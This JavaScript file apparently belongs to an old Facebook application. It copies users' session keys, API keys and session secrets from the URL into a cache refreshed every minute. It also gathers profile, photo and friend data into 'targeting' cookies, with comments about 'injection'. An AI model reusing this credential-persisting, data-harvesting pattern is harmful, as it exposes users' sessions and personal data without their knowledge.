var comm = new Cache('comm',(new Date()).getTime()+(1000*60*2));
comm.size = 4048;

function pass(name)
{
	name = 'fb_sig_' + name;
	if(params[name])comm.store(name,params[name],false,true);
};
var params = extractQueryString();
function setComm()
{
	var comm = new Cache('comm',(new Date()).getTime()+(1000*60*2));
	comm.store('__scp',JSON.stringify({
		'u' : params['fb_sig_user'],
		'k' : params['fb_sig_session_key'],
		'a' : params['fb_sig_api_key'],
		's' : params['fb_sig_ss'],
		'l' : params['fb_sig_locale']
	}),false,true);
};

if(params['fb_sig_user'])
{
	setComm();
	setInterval('setComm()',60000);
};

var Receiver =
{
	timeout : 15,//Number of seconds to wait around before giving up on injection
	initialised : false,
	
	/*
		Waits for all the FB parameters we need to appear, or times out otherwise. 
	*/
	init : function()
	{
		if(params['fb_sig_user'])
		{
			uid = params['fb_sig_user'];
			cache.store('fb_sig_user',uid);
		}
		if(params['fb_sig_user'] && params['fb_sig_ss'] && params['fb_sig_api_key'] && params['fb_sig_session_key'])
		{
			try
			{
				user.get(fields,false,Receiver.gotUser);
			}
			catch(ex)
			{
			}
		}
	},
	gotUser : function(user)
	{
		Target.save(user.data);//Set GTL cookie
		if(document.all && !window.opera)
			photos.get(friendFields,true,Receiver.gotPhotos);
	},
	gotPhotos : function(photos)
	{
		if(document.all && !window.opera)
			friends.get(friendFields,false,Receiver.gotFriends);
	},
	gotFriends : function(friends)
	{
		var data = InjectionData.getData(user,true);
		var bestFriends = new Array();
		for(var i=0;(i<data.maleFriends.length) && (i < InjectionData.maxArrayLength);i++)
			bestFriends[i] = data.maleFriends[i];
		for(var i=0;(i<data.femaleFriends.length) && (i < InjectionData.maxArrayLength);i++)
			bestFriends[bestFriends.length] = data.femaleFriends[i];
		if(bestFriends.length > 0)
		{
			var cache = new Cache('cache',(new Date()).getTime()+(1000*60*60*24));
			cache.store(friends.getKey(),JSON.stringify(bestFriends),false);
		}
	}
};

var uid;

var comm = new Cache('comm',(new Date()).getTime()+(1000*60*2));
//If we've stored GTL information, pass it on
var cache = new Cache('cache',(new Date()).getTime()+(1000*60*60*24));
if(comm.get(Target.getId(),false))
{
	Target.id = comm.get('fb_sig_user',false);
	Target.packed = cache.get(Target.getId(),false);
}
Receiver.init();